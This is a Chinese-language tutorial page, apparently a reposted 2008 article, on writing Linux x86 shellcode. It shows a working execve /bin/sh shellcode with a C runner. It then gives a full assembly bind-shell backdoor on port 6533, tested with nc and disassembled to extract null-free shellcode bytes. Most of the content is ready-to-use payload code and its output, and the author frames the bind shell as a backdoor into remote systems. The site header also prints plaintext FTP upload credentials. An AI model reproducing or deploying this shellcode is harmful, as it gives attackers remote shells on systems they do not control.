安全中国首页 > 文章中心 > Linux安全
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

浅入浅出Liunx Shellcode

更新时间:2008-5-14 1:15:14
责任编辑:果果龙
热 点:

*xuanmumu@gmail.com
*/
pr0cess@pr0cess:~$ objdump -d exec

exec: file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 6e 2f 73 68 push $0×68732f6e
804805c: 68 2f 2f 62 69 push $0×69622f2f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0×80
pr0cess@pr0cess:~$

char sc[] =
“\x31\xc0″
“\x50″
“\x68\x6e\x2f\x73\x68″
“\x68\x2f\x2f\x62\x69″
“\x89\xe3″
“\x50″
“\x53″
“\x89\xe1″
“\xb0\x0b”
“\xcd\x80″
;
int main()
{
void (*fp)(void) = (void (*)(void))sc;

printf(”Length: %d\n”,strlen(sc));
fp();
}
pr0cess@pr0cess:~$ gcc -o execve execve.c
pr0cess@pr0cess:~$ ./execve
Length: 23
$ exit
pr0cess@pr0cess:~$
成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了。稍微休息一下,下一节带来一个更cool的bindshell功能的shellcode~~
四:绑定端口的shellcode
根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。
写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:
首先要建立一个socket
server=socket(2,1,0)
建立一个sockaddr_in结构,包含IP和端口信息
将端口和IP邦定到socket
bind()
打开端口监听该socket
listen()
当有连接时向客户端返回一个句柄
accept()
将返回的句柄复制到STDIN,STDOUT,STDERR
dup2()
调用execve执行/bin/sh
看了这些过程可能有些迷茫,下面我给出一个以前我些的bindshell.c后门程序,可以很清晰的看到一个bindshell是如何实现的:http://www.bugshower.org/xbind.c
通过对一个端口绑定后门C程序的分析已经了解了整个实现过程,为了更方便的提取shellcode我们需要用汇编来改写这个程序。这里一个新的系统调用将被使用,这就是socketcall系统调用,这个系统调用号是102。先来看一下man里面关于这个系统调用的参数信息:
NAME
socketcall - socket system calls

SYNOPSIS
int socketcall(int call, unsigned long *args);
该系统调用需要两个参数,第一个参数是一个整数值,存放在EBX寄存器中,对于一个bindshell我们只需要用到4个数值,分别是:
SYS_SOCKET 1
SYS_BIND 2
SYS_LISTEN 4
SYS_ACCEPT 5
第二个参数是一个指针,指向一个参数数组,把它存在ECX寄存器中。
现在所有准备工作都已经就绪,开始用汇编编写一个bindshell后门吧~代码和注释如下:
#xuanmumu@gmail.com&process@cnbct.org
# bindshell.s –bindport on 6533
.section .text
.global _start
_start:
#清空各寄存器
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx

#socket(2,1,0)创建一个TCP连接,注意字节序。
push %eax #压入第3个参数 0
push $0×1 #压入第2个参数 1
push $0×2 #压入第1个参数 2
mov %esp,%ecx #将ECX里的数组地址作为socketcall系统调用的第2个参数
inc %bl #bl=0+1,作为socketcall的第一个参数,调用socket函数
movb $0×66,%al #调用socketcall,0×66=102
int $0×80 #中断
mov %eax,%esi 将返回句柄保存在ESI中

#bind()
push %edx #EDX压栈作为结束符
push $0×8519FF02 #0×8519=6533,sin.family=02,FF任意字节填充
mov %esp,%ecx #将ESP地址赋值给ECX
push $0×10 #开始bind的参数,0×10压栈
push %ecx #保存地址
push %esi #把前面的句柄压栈
mov %esp,%ecx #继续把数组地址作为socketcall调用的第2个参数
inc %bl #bl=1+1=2=SYS_BIND
mov $0×66,%al #调用socketcall
int $0×80 #中断

#listen()
push %edx #EDX压栈,作为结束符
push %esi #句柄压栈,作为listen的参数
mov %esp,%ecx #将数组地址设为socketcall的第2个参数
mov $0×4,%bl #bl=4=SYS_LISTEN
mov $0×66,%al #执行socketcall系统调用
int $0×80 #中断

#accept()
push %edx #参数0
push %edx #参数0
push %esi #句柄压栈
mov %esp,%ecx #将数组设为系统调用第2个参数
inc %bl #bl=4+1=SYS_ACCEPT
mov $0×66,%al #执行系统调用
int $0×80 #中断

#dup2()
mov %eax,%ebx #将accept返回的句柄复制到EBX
xor %ecx,%ecx #清空
mov $0×3f,%al #dup2系统调用,0×3f=63
int $0×80 #中断
inc %ecx #1
mov $0×3f,%al
int $0×80
inc %ecx #2
mov $0×3f,%al
int $0×80

#之前熟悉的execve调用,打开一个新的shell
push %edx
push $0×68732f2f
push $0×6e69622f
mov %esp,%ebx
push %edx
push %ebx
mov %esp ,%ecx
mov $0xb,%al
int $0×80
呵..现在可以休息一下了,终于完成了这个恶心的程序的编写工作,测试一下是否能正常工作吧~
pr0cess@pr0cess:~$ as -o bindshell.o bindshell.s
pr0cess@pr0cess:~$ ld -o bindshell bindshell.o
pr0cess@pr0cess:~$ ./bindshell
再新开一个终端去连接,顺利的话我们应该能在6533端口得到一个shell的~
pr0cess@pr0cess:~$ netstat -an |grep “6533″
tcp 0 0 0.0.0.0:6533 0.0.0.0:* LISTEN
pr0cess@pr0cess:~$ nc 192.168.12.211 6533
uname -a
Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
exit
pr0cess@pr0cess:~$
啊哈~美妙的shell出现了,程序顺利的完成它的工作,它可以去死了,我们来提取shellcode吧:
pr0cess@pr0cess:~$ objdump -d ./bindshell

./bindshell: file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 31 db xor %ebx,%ebx
8048058: 31 c9 xor %ecx,%ecx
804805a: 50 push %eax
804805b: 6a 01 push $0×1
804805d: 6a 02 push $0×2
804805f: 89 e1 mov %esp,%ecx
8048061: fe c3 inc %bl
8048063: b0 66 mov $0×66,%al
8048065: cd 80 int $0×80
8048067: 89 c6 mov %eax,%esi
8048069: 52 push %edx
804806a: 68 02 ff 19 85 push $0×8519ff02
804806f: 89 e1 mov %esp,%ecx
8048071: 6a 10 push $0×10
8048073: 51 push %ecx
8048074: 56 push %esi
8048075: 89 e1 mov %esp,%ecx
8048077: fe c3 inc %bl
8048079: b0 66 mov $0×66,%al
804807b: cd 80 int $0×80
804807d: 52 push %edx
804807e: 56 push %esi
804807f: 89 e1 mov %esp,%ecx
8048081: b3 04 mov $0×4,%bl
8048083: b0 66 mov $0×66,%al
8048085: cd 80 int $0×80
8048087: 52 push %edx
8048088: 52 push %edx
8048089: 56 push %esi
804808a: 89 e1 mov %esp,%ecx
804808c: fe c3 inc %bl
804808e: b0 66 mov $0×66,%al
8048090: cd 80 int $0×80
8048092: 89 c3 mov %eax,%ebx
8048094: 31 c9 xor %ecx,%ecx
8048096: b0 3f mov $0×3f,%al
8048098: cd 80 int $0×80
804809a: 41 inc %ecx
804809b: b0 3f mov $0×3f,%al
804809d: cd 80 int $0×80
804809f: 41 inc %ecx
80480a0: b0 3f mov $0×3f,%al
80480a2: cd 80 int $0×80
80480a4: 52 push %edx
80480a5: 68 2f 2f 73 68 push $0×68732f2f
80480aa: 68 2f 62 69 6e push $0×6e69622f
80480af: 89 e3 mov %esp,%ebx
80480b1: 52 push %edx
80480b2: 53 push %ebx
80480b3: 89 e1 mov %esp,%ecx
80480b5: b0 0b mov $0xb,%al
80480b7: cd 80 int $0×80
pr0cess@pr0cess:~$
检查了一下,机器码中没有出现00,可以放心的提取作为shellcode使用。具体的提取过程之前已经介绍过,也给出了相应的C程序模板,这里就不再重复工作了。

五:总结
本文没有什么高深的技术,没有华丽的技巧,浅入浅出的介绍了基本的linuxshellcode的编写过程,顺利完成了科普的目的。
Have a fun~

DOC下载地址:http://www.bugshower.org/myfile/sc.doc

上一页 1 2 

 
相关文章
一日一文章
 
一日一软件
一日一动画